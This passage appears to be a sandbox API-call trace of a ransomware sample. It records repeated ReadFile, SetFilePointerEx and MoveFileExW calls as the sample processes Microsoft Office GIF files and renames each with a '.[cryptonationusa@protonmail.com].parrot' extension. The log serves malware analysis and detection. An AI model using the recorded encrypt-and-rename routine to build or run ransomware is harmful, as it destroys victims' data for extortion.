Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.801] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.801] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.802] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.802] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x59bc, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x59bc, lpOverlapped=0x0) returned 1 [0176.803] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.804] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR29F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir29f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.810] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.810] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.812] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.812] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb96, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb96, lpOverlapped=0x0) returned 1 [0176.812] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.813] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.818] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.818] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.820] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.820] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf73, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf73, lpOverlapped=0x0) returned 1 [0176.820] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.821] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR2F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir2f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.826] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.826] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.828] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.828] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x332e, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x332e, lpOverlapped=0x0) returned 1 [0176.829] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.835] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.835] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.837] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.837] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4bda, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4bda, lpOverlapped=0x0) returned 1 [0176.838] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.838] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.844] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.844] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.846] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.846] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x838, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x838, lpOverlapped=0x0) returned 1 [0176.846] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.846] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.851] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.851] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.853] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.853] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x52da, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x52da, lpOverlapped=0x0) returned 1 [0176.854] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.855] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.859] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.859] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.861] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.861] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf47, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf47, lpOverlapped=0x0) returned 1 [0176.861] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.861] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.869] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.869] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.871] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.871] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x910b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x910b, lpOverlapped=0x0) returned 1 [0176.873] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.873] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR32F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir32f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.878] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.878] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.880] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.880] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1631, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1631, lpOverlapped=0x0) returned 1 [0176.881] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.881] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.886] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.886] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.887] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.887] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2d13, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2d13, lpOverlapped=0x0) returned 1 [0176.888] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.888] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR33F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir33f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.893] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.893] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.894] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.894] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1179, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x1179, lpOverlapped=0x0) returned 1 [0176.896] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.896] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.947] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.947] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.949] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.949] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x95dd, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x95dd, lpOverlapped=0x0) returned 1 [0176.950] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.951] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR34F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir34f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.956] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.956] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.959] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.959] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11ec, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x11ec, lpOverlapped=0x0) returned 1 [0176.960] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.960] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.966] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.966] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.968] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.968] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2bb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x2bb6, lpOverlapped=0x0) returned 1 [0176.969] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.969] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR35F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir35f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.975] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.975] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.977] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.977] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x23e1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x23e1, lpOverlapped=0x0) returned 1 [0176.978] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.979] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36b.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36B.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36b.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.984] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.984] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.986] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.986] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8fd7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8fd7, lpOverlapped=0x0) returned 1 [0176.987] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.988] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36f.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR36F.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir36f.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0176.993] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0176.993] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0176.995] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.995] ReadFile (in: hFile=0x284, 